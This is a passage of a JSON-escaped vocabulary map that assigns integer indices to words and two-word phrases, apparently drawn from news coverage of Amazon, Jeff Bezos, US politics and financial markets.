100417,\n  \"india growth\": 100418,\n  \"versus party\": 100419,\n  \"nfl commissioner\": 100420,\n  \"fcc chairman\": 100421,\n  \"amzn exec\": 100422,\n  \"employers need\": 100423,\n  \"caterpillar nyse\": 100424,\n  \"pitched amazon\": 100425,\n  \"kearny mesa\": 100426,\n  \"shane fernando\": 100427,\n  \"featuring story\": 100428,\n  \"krueger manhattan\": 100429,\n  \"technology association\": 100430,\n  \"account interestingly\": 100431,\n  \"m6 r4ee\": 100432,\n  \"podcast follow\": 100433,\n  \"chew\": 100434,\n  \"location close\": 100435,\n  \"playerinstance typeof\": 100436,\n  \"sm_npd_nn_tw_np\": 100437,\n  \"america wrestling\": 100438,\n  \"monte cristo\": 100439,\n  \"activity associated\": 100440,\n  \"bargain amazon\": 100441,\n  \"surprise twitter\": 100442,\n  \"hold different\": 100443,\n  \"exchanges\": 100444,\n  \"company ocasio\": 100445,\n  \"recognition industry\": 100446,\n  \"title believe\": 100447,\n  \"row readers\": 100448,\n  \"trade headlines\": 100449,\n  \"portfolio 1st\": 100450,\n  \"loss carryforward\": 100451,\n  \"democrat favorably\": 100452,\n  \"controversial editorial\": 100453,\n  \"younggren\": 100454,\n  \"general arthur\": 100455,\n  \"succession\": 100456,\n  \"tech kind\": 100457,\n  \"raised objections\": 100458,\n  \"testing alternative\": 100459,\n  \"negativity\": 100460,\n  \"slightly amazon\": 100461,\n  \"bloomberg graphics\": 100462,\n  \"nightly business\": 100463,\n  \"exclusive discounts\": 100464,\n  \"trump 2018\": 100465,\n  \"order legal\": 100466,\n  \"entanglements\": 100467,\n  \"competing objectives\": 100468,\n  \"homelessness county\": 100469,\n  \"medical benefits\": 100470,\n  \"reports gasol\": 100471,\n  \"ecologically\": 100472,\n  \"alright\": 100473,\n  \"dlippman\": 100474,\n  \"additionally audits\": 100475,\n  \"nice bezos\": 100476,\n  \"tri travel\": 100477,\n  \"culture actually\": 100478,\n  \"photo rich\": 100479,\n  \"min sir\": 100480,\n  \"subsequently died\": 100481,\n  \"sexy jon\": 100482,\n  \"tweet sarah\": 100483,\n  \"glance cohen\": 100484,\n  \"scottie neil\": 100485,\n  \"enormous tax\": 100486,\n  \"shoes clothing\": 100487,\n  \"quarter accounting\": 100488,\n  \"story gas\": 100489,\n  \"smaller amazon\": 100490,\n  \"mentored\": 100491,\n  \"newhouse gabriella\": 100492,\n  \"cutting deal\": 100493,\n  \"bloc member\": 100494,\n  \"post editorial\": 100495,\n  \"nelson wsj\": 100496,\n  \"protecting amazon\": 100497,\n  \"requested information\": 100498,\n  \"wang eater\": 100499,\n  \"310 employees\": 100500,\n  \"mueller investigation\": 100501,\n  \"secdef james\": 100502,\n  \"walkau senior\": 100503,\n  \"american military\": 100504,\n  \"murder john\": 100505,\n  \"cnbc exclusive\": 100506,\n  \"journal\": 100507,\n  \"good place\": 100508,\n  \"bipartisan deal\": 100509,\n  \"olivia laing\": 100510,\n  \"major topics\": 100511,\n  \"heather havrilesky\": 100512,\n  \"daniels lawyer\": 100513,\n  \"rogowsky talks\": 100514,\n  \"executive office\": 100515,\n  \"religion personal\": 100516,\n  \"small loud\": 100517,\n  \"private equity\": 100518,\n  \"naff fleeces\": 100519,\n  \"places need\": 100520,\n  \"gerrymandered\": 100521,\n  \"chunk\": 100522,\n  \"earlier time\": 100523,\n  \"trump amazon\": 100524,\n  \"sharon soderstrom\": 100525,\n  \"adopted family\": 100526,\n  \"recession proof\": 100527,\n  \"embryonic\": 100528,\n  \"terrestrial\": 100529,\n  \"nutrition supplementation\": 100530,\n  \"people says\": 100531,\n  \"offerings negative\": 100532,\n  \"backing pique\": 100533,\n  \"deportations notechforicehttps\": 100534,\n  \"authorised capital\": 100535,\n  \"earners nashville\": 100536,\n  \"jefferson\": 100537,\n  \"nudge\": 100538,\n  \"trump border\": 100539,\n  \"strengthen office\": 100540,\n  \"defer taxes\": 100541,\n  \"cellular communication\": 100542,\n  \"town sellers\": 100543,\n  \"bio\": 100544,\n  \"sicker\": 100545,\n  \"imran tahir\": 100546,\n  \"olive way\": 100547,\n  \"diverse voices\": 100548,\n  \"requiring tax\": 100549,\n  \"loan\": 100550,\n  \"quiet place\": 100551,\n  \"bias lawmakers\": 100552,\n  \"website box\": 100553,\n  \"bezos getting\": 100554,\n  \"unanimous vote\": 100555,\n  \"timmerman\": 100556,\n  \"lawyers wrote\": 100557,\n  \"alt right\": 100558,\n  \"wmt started\": 100559,\n  \"simons responded\": 100560,\n  \"discussed 25th\": 100561,\n  \"mattis flew\": 100562,\n  \"relative lack\": 100563,\n  \"kersten\": 100564,\n  \"mai talks\": 100565,\n  \"buy amid\": 100566,\n  \"documented\": 100567,\n  \"pt\": 100568,\n  \"smartphone market\": 100569,\n  \"competitive salaries\": 100570,\n  \"art market\": 100571,\n  \"congratulates\": 100572,\n  \"longevity\": 100573,\n  \"394\": 100574,\n  \"falter review\": 100575,\n  \"youngest member\": 100576,\n  \"big tech\": 100577,\n  \"gathering sellers\": 100578,\n  \"dispatch thank\": 100579,\n  \"proposes sweeping\": 100580,\n  \"doyle subcommittee\": 100581,\n  \"weisselberg\": 100582,\n  \"photos entertainment\": 100583,\n  \"apparently trying\": 100584,\n  \"crisis hundreds\": 100585,\n  \"minutes gayle\": 100586,\n  \"trumpy bear\": 100587,\n  \"ro mama\": 100588,\n  \"previously interviewed\": 100589,\n  \"hair\": 100590,\n  \"repeatedly credited\": 100591,\n  \"twitter dleonhardt\": 100592,\n  \"travel hazards\": 100593,\n  \"keith\": 100594,\n  \"project las\": 100595,\n  \"wrong time\": 100596,\n  \"competition primarily\": 100597,\n  \"finds family\": 100598,\n  \"dwellers certainly\": 100599,\n  \"candidate patrick\": 100600,\n  \"cents revenue\": 100601,\n  \"delivering promised\": 100602,\n  \"david olive\": 100603,\n  \"keepsakes\": 100604,\n  \"original big\": 100605,\n  \"enjoyed strong\": 100606,\n  \"walmart ex\": 100607,\n  \"foreign competition\": 100608,\n  \"huge sum\": 100609,\n  \"comment stone\": 100610,\n  \"omnipresent\": 100611,\n  \"deal huge\": 100612,\n  \"jobs survival\": 100613,\n  \"gotten hammered\": 100614,\n  \"tossing paper\": 100615,\n  \"stocks\": 100616,\n  \"service gaps\": 100617,\n  \"class diversity\": 100618,\n  \"staff members\": 100619,\n  \"restriction\": 100620,\n  \"owner countdown\": 100621,\n  \"statehouses\": 100622,\n  \"constitution trump\": 100623,\n  \"epidemiologist\": 100624,\n  \"citing white\": 100625,\n  \"provide world\": 100626,\n  \"sweetheart deals\": 100627,\n  \"priorities\": 100628,\n  \"obsolete according\": 100629,\n  \"voice input\": 100630,\n  \"book titles\": 100631,\n  \"half world\": 100632,\n  \"watch newsy\": 100633,\n  \"press hosted\": 100634,\n  \"massive unforced\": 100635,\n  \"couple means\": 100636,\n  \"household wealth\": 100637,\n  \"trump era\": 100638,\n  \"self education\": 100639,\n  \"prime enterprise\": 100640,\n  \"follow michael\": 100641,\n  \"past decades\": 100642,\n  \"learning skills\": 100643,\n  \"far brennan\": 100644,\n  \"shirts boycottwalmart\": 100645,\n  \"petition drive\": 100646,\n  \"startup kirio\": 100647,\n  \"answer essentially\": 100648,\n  \"prices situation\": 100649,\n  \"mortar groceries\": 100650,\n  \"tabloid fare\": 100651,\n  \"lic\": 100652,\n  \"securely\": 100653,\n  \"nation commander\": 100654,\n  \"astoria\": 100655,\n  \"commission chairman\": 100656,\n  \"agreement according\": 100657,\n  \"real honest\": 100658,\n  \"criminal charges\": 100659,\n  \"partnership branded\": 100660,\n  \"bezos shows\": 100661,\n  \"700 million\": 100662,\n  \"logos\": 100663,\n  \"large parcel\": 100664,\n  \"whitey bulger\": 100665,\n  \"workers bezos\": 100666,\n  \"innovations consumers\": 100667,\n  \"concealer\": 100668,\n  \"020\": 100669,\n  \"incredible ian\": 100670,\n  \"drugmaker deceptive\": 100671,\n  \"philadelphia day\": 100672,\n  \"fewer regulatory\": 100673,\n  \"mega popular\": 100674,\n  \"presidents day\": 100675,\n  \"increasing year\": 100676,\n  \"marketing company\": 100677,\n  \"vpx cnn\": 100678,\n  \"surging profit\": 100679,\n  \"trumptruffles photo\": 100680,\n  \"amazon seller\": 100681,\n  \"cybercurrencies\": 100682,\n  \"indie\": 100683,\n  \"doug suttles\": 100684,\n  \"amazon brotopia\": 100685,\n  \"robotic defenses\": 100686,\n  \"sent 780\": 100687,\n  \"bezos reveals\": 100688,\n  \"dimon golden\": 100689,\n  \"act signals\": 100690,\n  \"statement politico\": 100691,\n  \"people fair\": 100692,\n  \"new approaches\": 100693,\n  \"disposal order\": 100694,\n  \"pyongyang trump\": 100695,\n  \"man standing\": 100696,\n  \"conan tbs\": 100697,\n  \"gurviz\": 100698,\n  \"queens teamsters\": 100699,\n  \"m8i v7a\": 100700,\n  \"lee scott\": 100701,\n  \"received larger\": 100702,\n  \"mold smoking\": 100703,\n  \"thing rates\": 100704,\n  \"way cloud\": 100705,\n  \"allegations coming\": 100706,\n  \"agreement amazon\": 100707,\n  \"looming investigation\": 100708,\n  \"personal uses\": 100709,\n  \"uncharacteristically taking\": 100710,\n  \"blog platform\": 100711,\n  \"tv great\": 100712,\n  \"sen hatch\": 100713,\n  \"lead indexes\": 100714,\n  \"hp action\": 100715,\n  \"announced smiling\": 100716,\n  \"luxury hotel\": 100717,\n  \"extra savings\": 100718,\n  \"credibility\": 100719,\n  \"blvd starting\": 100720,\n  \"forces\": 100721,\n  \"putin donald\": 100722,\n  \"stop trump\": 100723,\n  \"smaller market\": 100724,\n  \"getting people\": 100725,\n  \"comma\": 100726,\n  \"washington bigger\": 100727,\n  \"big retailers\": 100728,\n  \"montclair\": 100729,\n  \"2012 robert\": 100730,\n  \"technology surveillance\": 100731,\n  \"7bn purchase\": 100732,\n  \"view represented\": 100733,\n  \"underground bunker\": 100734,\n  \"itunes mike\": 100735,\n  \"weinstein sexual\": 100736,\n  \"novel penguin\": 100737,\n  \"pedestrians\": 100738,\n  \"andrew george\": 100739,\n  \"commercial markets\": 100740,\n  \"questioned subsidies\": 100741,\n  \"officials certainly\": 100742,\n  \"new ventures\": 100743,\n  \"tact\": 100744,\n  \"contemplating potential\": 100745,\n  \"raise concerns\": 100746,\n  \"wray testified\": 100747,\n  \"reuters brazilian\": 100748,\n  \"second change\": 100749,\n  \"483\": 100750,\n  \"chavista\": 100751,\n  \"offering bribes\": 100752,\n  \"require additional\": 100753,\n  \"retailers commerce\": 100754,\n  \"jackson rubbed\": 100755,\n  \"expects revenue\": 100756,\n  \"dr paul\": 100757,\n  \"new market\": 100758,\n  \"automobilnews coo\": 100759,\n  \"israel gaza\": 100760,\n  \"implement profitable\": 100761,\n  \"radhika\": 100762,\n  \"rosethorn\": 100763,\n  \"reportedly weighed\": 100764,\n  \"r8 l2\": 100765,\n  \"removable keyboard\": 100766,\n  \"nyse hrb\": 100767,\n  \"tree earningsfriday\": 100768,\n  \"people regardless\": 100769,\n  \"greater new\": 100770,\n  \"important group\": 100771,\n  \"language translation\": 100772,\n  \"nyt bloomberg\": 100773,\n  \"788 votes\": 100774,\n  \"induced bull\": 100775,\n  \"utm_medium feed\": 100776,\n  \"johnson meet\": 100777,\n  \"investigation regarding\": 100778,\n  \"chomsky politics\": 100779,\n  \"landed ami\": 100780,\n  \"online markets\": 100781,\n  \"bezos change\": 100782,\n  \"school performance\": 100783,\n  \"libertarian op\": 100784,\n  \"spending ibd\": 100785,\n  \"posted lower\": 100786,\n  \"market finally\": 100787,\n  \"europe wrote\": 100788,\n  \"dollar ftc\": 100789,\n  \"therese poletti\": 100790,\n  \"organization splc\": 100791,\n  \"greater focus\": 100792,\n  \"read book\": 100793,\n  \"camp coordinators\": 100794,\n  \"trump bidding\": 100795,\n  \"optimising word\": 100796,\n  \"paper essentially\": 100797,\n  \"things fell\": 100798,\n  \"east security\": 100799,\n  \"49th\": 100800,\n  \"human mission\": 100801,\n  \"squeeze siddiqui\": 100802,\n  \"classified military\": 100803,\n  \"origin started\": 100804,\n  \"heather mills\": 100805,\n  \"led lawsuit\": 100806,\n  \"matter publicly\": 100807,\n  \"ny chair\": 100808,\n  \"ignoring intersectionality\": 100809,\n  \"announced slew\": 100810,\n  \"economic policies\": 100811,\n  \"nicole carroll\": 100812,\n  \"slant\": 100813,\n  \"told fast\": 100814,\n  \"mile logistics\": 100815,\n  \"arabian royal\": 100816,\n  \"spokesperson chose\": 100817,\n  \"cork christmas\": 100818,\n  \"sconfirmed\": 100819,\n  \"complete disdain\": 100820,\n  \"street protests\": 100821,\n  \"faces suspension\": 100822,\n  \"pledge pentagon\": 100823,\n  \"unusual spelling\": 100824,\n  \"driving license\": 100825,\n  \"announce information\": 100826,\n  \"service provides\": 100827,\n  \"conduct alleged\": 100828,\n  \"skills kit\": 100829,\n  \"invention\": 100830,\n  \"mccain opposition\": 100831,\n  \"cramer world\": 100832,\n  \"455 upside\": 100833,\n  \"report confirmed\": 100834,\n  \"minting\": 100835,\n  \"delrahim alleging\": 100836,\n  \"turner 2nd\": 100837,\n  \"2018 press\": 100838,\n  \"ally\": 100839,\n  \"battle\": 100840,\n  \"remnick\": 100841,\n  \"lake tribune\": 100842,\n  \"massive fulfillment\": 100843,\n  \"050 unch\": 100844,\n  \"faint\": 100845,\n  \"paul revoke\": 100846,\n  \"market founder\": 100847,\n  \"amazon demands\": 100848,\n  \"luddites\": 100849,\n  \"using smartphones\": 100850,\n  \"contact federal\": 100851,\n  \"huge global\": 100852,\n  \"quay west\": 100853,\n  \"alexa home\": 100854,\n  \"smaller deal\": 100855,\n  \"pimple\": 100856,\n  \"esch shortly\": 100857,\n  \"democratic officials\": 100858,\n  \"geekwire summit\": 100859,\n  \"couple stocks\": 100860,\n  \"curbed jeff\": 100861,\n  \"kim kanye\": 100862,\n  \"good memes\": 100863,\n  \"sense amazon\": 100864,\n  \"aim according\": 100865,\n  \"insider account\": 100866,\n  \"mark cuban\": 100867,\n  \"build integrated\": 100868,\n  \"horribly timed\": 100869,\n  \"recently idled\": 100870,\n  \"2018 aug\": 100871,\n  \"commission rep\": 100872,\n  \"amazon luxury\": 100873,\n  \"phone handout\": 100874,\n  \"criticized demarcations\": 100875,\n  \"books available\": 100876,\n  \"cortez ignorance\": 100877,\n  \"negotiators hammered\": 100878,\n  \"celebrate carol\": 100879,\n  \"pushing nato\": 100880,\n  \"week high\": 100881,\n  \"cnl_featuretype\": 100882,\n  \"blimp isn\": 100883,\n  \"drug addicts\": 100884,\n  \"afuye\": 100885,\n  \"councilmembers continued\": 100886,\n  \"david bowie\": 100887,\n  \"miserly trump\": 100888,\n  \"benefits collected\": 100889,\n  \"microsoft earnings\": 100890,\n  \"poletti 415\": 100891,\n  \"teaches amazon\": 100892,\n  \"public ministry\": 100893,\n  \"wraps amazon\": 100894,\n  \"suppress news\": 100895,\n  \"fragmentary\": 100896,\n  \"created couple\": 100897,\n  \"asked current\": 100898,\n  \"york race\": 100899,\n  \"probe\": 100900,\n  \"working karma\": 100901,\n  \"partnership network\": 100902,\n  \"deceased young\": 100903,\n  \"horror stars\": 100904,\n  \"alligator infested\": 100905,\n  \"grandmothers home\": 100906,\n  \"facebook sent\": 100907,\n  \"disrupts entire\": 100908,\n  \"key competitive\": 100909,\n  \"tapped tiny\": 100910,\n  \"vladimir\": 100911,\n  \"immigration subscribers\": 100912,\n  \"reliable language\": 100913,\n  \"boy bezos\": 100914,\n  \"likewise trump\": 100915,\n  \"lowers wages\": 100916,\n  \"created chrome\": 100917,\n  \"regions named\": 100918,\n  \"faricy\": 100919,\n  \"law posted\": 100920,\n  \"coke business\": 100921,\n  \"final farewell\": 100922,\n  \"baltxqyvjbpic twitter\": 100923,\n  \"national mutual\": 100924,\n  \"amazongiveaway\": 100925,\n  \"amazon allows\": 100926,\n  \"face legal\": 100927,\n  \"amazon site\": 100928,\n  \"advisory llc\": 100929,\n  \"grizzlies center\": 100930,\n  \"wide margin\": 100931,\n  \"pled guilty\": 100932,\n  \"ami acknowledged\": 100933,\n  \"reported allsquare\": 100934,\n  \"film produced\": 100935,\n  \"previously explained\": 100936,\n  \"pence nancy\": 100937,\n  \"offered formal\": 100938,\n  \"extravagant giveaway\": 100939,\n  \"action figure\": 100940,\n  \"raps\": 100941,\n  \"technology executive\": 100942,\n  \"wang image\": 100943,\n  \"photo scott\": 100944,\n  \"videotape julia\": 100945,\n  \"lucha por\": 100946,\n  \"services palantir\": 100947,\n  \"saw recession\": 100948,\n  \"bartiromo thank\": 100949,\n  \"sbux large\": 100950,\n  \"fashion today\": 100951,\n  \"immigration reporter\": 100952,\n  \"workplace scandals\": 100953,\n  \"incident occurred\": 100954,\n  \"packages needless\": 100955,\n  \"need sturdy\": 100956,\n  \"scrutinised\": 100957,\n  \"american oil\": 100958,\n  \"215\": 100959,\n  \"feminist professor\": 100960,\n  \"nyse ua\": 100961,\n  \"sanders allegations\": 100962,\n  \"contracting gravy\": 100963,\n  \"margarethmcgill ashley\": 100964,\n  \"expanding sinclair\": 100965,\n  \"saunders says\": 100966,\n  \"flynn citing\": 100967,\n  \"simply economics\": 100968,\n  \"leaders urging\": 100969,\n  \"cia\": 100970,\n  \"report finds\": 100971,\n  \"council amazon\": 100972,\n  \"amazon northern\": 100973,\n  \"painfully aware\": 100974,\n  \"golden globes\": 100975,\n  \"writers association\": 100976,\n  \"vermont complaint\": 100977,\n  \"die viral\": 100978,\n  \"repayment benefit\": 100979,\n  \"uniformity\": 100980,\n  \"cybertronian alphabet\": 100981,\n  \"dystopian novel\": 100982,\n  \"especially compelling\": 100983,\n  \"story line\": 100984,\n  \"paper loses\": 100985,\n  \"aggressively trying\": 100986,\n  \"oil trust\": 100987,\n  \"remains open\": 100988,\n  \"recently admitted\": 100989,\n  \"thought best\": 100990,\n  \"bezos urging\": 100991,\n  \"general rachel\": 100992,\n  \"removeclass video__end\": 100993,\n  \"right size\": 100994,\n  \"que la\": 100995,\n  \"amazon juggernaut\": 100996,\n  \"aaron hernandez\": 100997,\n  \"maker worth\": 100998,\n  \"companies saved\": 100999,\n  \"222 4194\": 101000,\n  \"millennial\": 101001,\n  \"gain insights\": 101002,\n  \"regularly retails\": 101003,\n  \"geekwire asked\": 101004,\n  \"initially spike\": 101005,\n  \"overall commerce\": 101006,\n  \"flat earth\": 101007,\n  \"trump calling\": 101008,\n  \"expecting growth\": 101009,\n  \"did deny\": 101010,\n  \"included payload\": 101011,\n  \"curiam today\": 101012,\n  \"clapper called\": 101013,\n  \"sot\": 101014,\n  \"car coming\": 101015,\n  \"care platform\": 101016,\n  \"black hurricane\": 101017,\n  \"traded ecolab\": 101018,\n  \"pragmatic\": 101019,\n  \"content featured\": 101020,\n  \"survivorship\": 101021,\n  \"fraught tensions\": 101022,\n  \"rights holders\": 101023,\n  \"contenders trying\": 101024,\n  \"ago jackie\": 101025,\n  \"changes logistics\": 101026,\n  \"ryan cited\": 101027,\n  \"secret talks\": 101028,\n  \"climb stocks\": 101029,\n  \"administration brennan\": 101030,\n  \"bain company\": 101031,\n  \"elimination\": 101032,\n  \"european legislators\": 101033,\n  \"app showtime\": 101034,\n  \"senior economist\": 101035,\n  \"purgatory\": 101036,\n  \"cantonese\": 101037,\n  \"deducted\": 101038,\n  \"lewd text\": 101039,\n  \"safer names\": 101040,\n  \"uses cadaver\": 101041,\n  \"amazon terminate\": 101042,\n  \"created map\": 101043,\n  \"ziektekosten\": 101044,\n  \"usmca\": 101045,\n  \"making clear\": 101046,\n  \"instance schumer\": 101047,\n  \"inherently high\": 101048,\n  \"incentive packages\": 101049,\n  \"emergency cuteemergency\": 101050,\n  \"amazon emerges\": 101051,\n  \"profile breakups\": 101052,\n  \"creole italian\": 101053,\n  \"post responded\": 101054,\n  \"checkout lines\": 101055,\n  \"contribution 2018\": 101056,\n  \"woodward james\": 101057,\n  \"days longer\": 101058,\n  \"companies helped\": 101059,\n  \"protect job\": 101060,\n  \"included shirts\": 101061,\n  \"world animals\": 101062,\n  \"ruiz\": 101063,\n  \"people enjoy\": 101064,\n  \"server bezos\": 101065,\n  \"2019 journalists\": 101066,\n  \"known critic\": 101067,\n  \"uscpr\": 101068,\n  \"help trump\": 101069,\n  \"household items\": 101070,\n  \"joel osteen\": 101071,\n  \"woodward denied\": 101072,\n  \"states dedicated\": 101073,\n  \"federal false\": 101074,\n  \"queens fighting\": 101075,\n  \"ficus rubiginosa\": 101076,\n  \"democrats hold\": 101077,\n  \"stronger oversight\": 101078,\n  \"years just\": 101079,\n  \"prestige\": 101080,\n  \"reporting american\": 101081,\n  \"assault cnn\": 101082,\n  \"american housewives\": 101083,\n  \"studied tax\": 101084,\n  \"finishing school\": 101085,\n  \"releas\": 101086,\n  \"department contract\": 101087,\n  \"left loathing\": 101088,\n  \"big te\": 101089,\n  \"british police\": 101090,\n  \"hurting bricks\": 101091,\n  \"maximizing delivery\": 101092,\n  \"officials confirmed\": 101093,\n  \"nutrition coach\": 101094,\n  \"unexpectedly fired\": 101095,\n  \"hours wrote\": 101096,\n  \"clearly established\": 101097,\n  \"sharing medical\": 101098,\n  \"clause\": 101099,\n  \"visible areas\": 101100,\n  \"execs enjoy\": 101101,\n  \"poor neighborhoods\": 101102,\n  \"k8 h8\": 101103,\n  \"parscale trump\": 101104,\n  \"15661 d4a\": 101105,\n  \"biometric exit\": 101106,\n  \"300 grand\": 101107,\n  \"highly educated\": 101108,\n  \"delivering alpha\": 101109,\n  \"traitor criminal\": 101110,\n  \"box legs\": 101111,\n  \"amazon enables\": 101112,\n  \"unfair today\": 101113,\n  \"uncharacteristically\": 101114,\n  \"times curiously\": 101115,\n  \"later ami\": 101116,\n  \"fuel company\": 101117,\n  \"second term\": 101118,\n  \"schneider\": 101119,\n  \"longstanding skilled\": 101120,\n  \"downed\": 101121,\n  \"shares endurance\": 101122,\n  \"2529\": 101123,\n  \"reporter dave\": 101124,\n  \"stores selling\": 101125,\n  \"advocate campaign\": 101126,\n  \"chip makers\": 101127,\n  \"reforms matthew\": 101128,\n  \"surveillance services\": 101129,\n  \"instead kovacic\": 101130,\n  \"specter\": 101131,\n  \"marc lotter\": 101132,\n  \"soir\": 101133,\n  \"fashion house\": 101134,\n  \"easy false\": 101135,\n  \"petulance\": 101136,\n  \"court sidestepped\": 101137,\n  \"president hinted\": 101138,\n  \"residents amazon\": 101139,\n  \"facebook shook\": 101140,\n  \"mendes\": 101141,\n  \"winged seraph\": 101142,\n  \"attendees include\": 101143,\n  \"sima samar\": 101144,\n  \"strategies supporting\": 101145,\n  \"ultimately hurting\": 101146,\n  \"rising terrorist\": 101147,\n  \"gaspar\": 101148,\n  \"contender asked\": 101149,\n  \"customers denigrating\": 101150,\n  \"marquee\": 101151,\n  \"entrepreneurship\": 101152,\n  \"given time\": 101153,\n  \"determine postal\": 101154,\n  \"jobs instead\": 101155,\n  \"sessions\": 101156,\n  \"week bolsonaro\": 101157,\n  \"assessment rca\": 101158,\n  \"pricing deals\": 101159,\n  \"constantly quoting\": 101160,\n  \"getting pissed\": 101161,\n  \"scholars\": 101162,\n  \"tgv vn\": 101163,\n  \"foolery mac\": 101164,\n  \"getty magine\": 101165,\n  \"rights read\": 101166,\n  \"foreclosures\": 101167,\n  \"old fort\": 101168,\n  \"make purchasing\": 101169,\n  \"belt tightening\": 101170,\n  \"mcsally greene\": 101171,\n  \"dzanc\": 101172,\n  \"famously wrote\": 101173,\n  \"course breaking\": 101174,\n  \"trump tough\": 101175,\n  \"just ask\": 101176,\n  \"kornacki stevekornacki\": 101177,\n  \"mexican grill\": 101178,\n  \"earnings swing\": 101179,\n  \"serenity\": 101180,\n  \"amazon homebody\": 101181,\n  \"incentives promised\": 101182,\n  \"subjects stupid\": 101183,\n  \"tsn\": 101184,\n  \"reducer\": 101185,\n  \"battled big\": 101186,\n  \"wynn suing\": 101187,\n  \"eliminate international\": 101188,\n  \"consumers took\": 101189,\n  \"currently warming\": 101190,\n  \"composite closed\": 101191,\n  \"minute wish\": 101192,\n  \"necessarily true\": 101193,\n  \"negotiate natural\": 101194,\n  \"moral objection\": 101195,\n  \"turns criticizing\": 101196,\n  \"official wrote\": 101197,\n  \"intrusive police\": 101198,\n  \"bezos efforts\": 101199,\n  \"employees ice\": 101200,\n  \"laws written\": 101201,\n  \"beth solomon\": 101202,\n  \"latest awful\": 101203,\n  \"egoists ready\": 101204,\n  \"enthusiastic\": 101205,\n  \"iconic lgbtq\": 101206,\n  \"carbon copy\": 101207,\n  \"really emblematic\": 101208,\n  \"staff bezos\": 101209,\n  \"crooked media\": 101210,\n  \"workers making\": 101211,\n  \"delegation don\": 101212,\n  \"commerce transactions\": 101213,\n  \"despite shortfall\": 101214,\n  \"investigation authorities\": 101215,\n  \"cryptocurrencies\": 101216,\n  \"carrell hosted\": 101217,\n  \"electrical rates\": 101218,\n  \"surveillance including\": 101219,\n  \"food offering\": 101220,\n  \"labor including\": 101221,\n  \"dobbs loudobbs\": 101222,\n  \"lrspbwmvbn\": 101223,\n  \"hasn wavered\": 101224,\n  \"horatio alger\": 101225,\n  \"easley discovered\": 101226,\n  \"recently rallied\": 101227,\n  \"won mccabe\": 101228,\n  \"sourcename\": 101229,\n  \"people talked\": 101230,\n  \"magazine delivery\": 101231,\n  \"tweet mccarthy\": 101232,\n  \"employers equal\": 101233,\n  \"muriel\": 101234,\n  \"facebook privacy\": 101235,\n  \"charges minute\": 101236,\n  \"issue america\": 101237,\n  \"better shopping\": 101238,\n  \"provide time\": 101239,\n  \"demand reportedly\": 101240,\n  \"briefing\": 101241,\n  \"alphabet shares\": 101242,\n  \"piquant episodic\": 101243,\n  \"automobile association\": 101244,\n  \"logistics efforts\": 101245,\n  \"force awarded\": 101246,\n  \"postage bills\": 101247,\n  \"ideological allies\": 101248,\n  \"raise challenges\": 101249,\n  \"fund reported\": 101250,\n  \"apple siri\": 101251,\n  \"gasol sports\": 101252,\n  \"blackburn priority\": 101253,\n  \"wall talks\": 101254,\n  \"complains\": 101255,\n  \"breach 2018\": 101256,\n  \"righteously\": 101257,\n  \"good ones\": 101258,\n  \"sensible gadgets\": 101259,\n  \"internet namesake\": 101260,\n  \"county supervisors\": 101261,\n  \"huawei denies\": 101262,\n  \"110 000\": 101263,\n  \"senator hatch\": 101264,\n  \"bark nary\": 101265,\n  \"relocating jobs\": 101266,\n  \"cottage industry\": 101267,\n  \"exclusive arrangement\": 101268,\n  \"theclotheshavenoemperor\": 101269,\n  \"including perfume\": 101270,\n  \"just shouting\": 101271,\n  \"zacks rank\": 101272,\n  \"voter records\": 101273,\n  \"accounts trolling\": 101274,\n  \"lower comparable\": 101275,\n  \"collecting wives\": 101276,\n  \"queens native\": 101277,\n  \"summit steele\": 101278,\n  \"global competitiveness\": 101279,\n  \"8e811a57a619\": 101280,\n  \"pig farmers\": 101281,\n  \"states qualifying\": 101282,\n  \"relocation announcement\": 101283,\n  \"term strategic\": 101284,\n  \"tangent\": 101285,\n  \"score amazon\": 101286,\n  \"company strategy\": 101287,\n  \"personal friend\": 101288,\n  \"electricity\": 101289,\n  \"culminated\": 101290,\n  \"federal financial\": 101291,\n  \"572 shares\": 101292,\n  \"money talk\": 101293,\n  \"remaining parties\": 101294,\n  \"amazon retailing\": 101295,\n  \"related catholic\": 101296,\n  \"member according\": 101297,\n  \"house talks\": 101298,\n  \"crossword puzzle\": 101299,\n  \"exclusive early\": 101300,\n  \"marks brian\": 101301,\n  \"issue benefits\": 101302,\n  \"jb pritzker\": 101303,\n  \"intelligence causing\": 101304,\n  \"considering gag\": 101305,\n  \"functionally\": 101306,\n  \"claims loom\": 101307,\n  \"contract tenders\": 101308,\n  \"huge advantage\": 101309,\n  \"metal jacket\": 101310,\n  \"continual\": 101311,\n  \"amazon pays\": 101312,\n  \"delivering 280mg\": 101313,\n  \"humorist\": 101314,\n  \"fomenting\": 101315,\n  \"company violated\": 101316,\n  \"empresa mas\": 101317,\n  \"companies reliable\": 101318,\n  \"lessening\": 101319,\n  \"higher percentage\": 101320,\n  \"paying job\": 101321,\n  \"publish negative\": 101322,\n  \"news night\": 101323,\n  \"retailer space\": 101324,\n  \"toronto tend\": 101325,\n  \"lc holds\": 101326,\n  \"free insurance\": 101327,\n  \"support program\": 101328,\n  \"netflix alphabet\": 101329,\n  \"080\": 101330,\n  \"firm told\": 101331,\n  \"politifact illinois\": 101332,\n  \"befitting\": 101333,\n  \"amgen later\": 101334,\n  \"andrew giuliani\": 101335,\n  \"stars toni\": 101336,\n  \"anticipation\": 101337,\n  \"announce cut\": 101338,\n  \"crude stockpil\": 101339,\n  \"opted\": 101340,\n  \"piece strain\": 101341,\n  \"jewish feb\": 101342,\n  \"branded uniforms\": 101343,\n  \"large incomes\": 101344,\n  \"sea trump\": 101345,\n  \"465\": 101346,\n  \"donny\": 101347,\n  \"sought bankruptcy\": 101348,\n  \"defamation trial\": 101349,\n  \"enquirer expose\": 101350,\n  \"wouldn work\": 101351,\n  \"manager anthony\": 101352,\n  \"double digits\": 101353,\n  \"reports univision\": 101354,\n  \"addabbo explained\": 101355,\n  \"afghanistan valuable\": 101356,\n  \"house harms\": 101357,\n  \"francis whately\": 101358,\n  \"museum barack\": 101359,\n  \"status 1014189395883249665\": 101360,\n  \"trump bad\": 101361,\n  \"103 year\": 101362,\n  \"workers warren\": 101363,\n  \"received adequate\": 101364,\n  \"savings account\": 101365,\n  \"lone star\": 101366,\n  \"patrick donahue\": 101367,\n  \"barbara\": 101368,\n  \"affects\": 101369,\n  \"aggressively bearish\": 101370,\n  \"owned mobile\": 101371,\n  \"day windfalls\": 101372,\n  \"fantastically\": 101373,\n  \"nathan thornburgh\": 101374,\n  \"concerned amazon\": 101375,\n  \"home sales\": 101376,\n  \"braithwaite\": 101377,\n  \"mexican drug\": 101378,\n  \"collar crime\": 101379,\n  \"post box\": 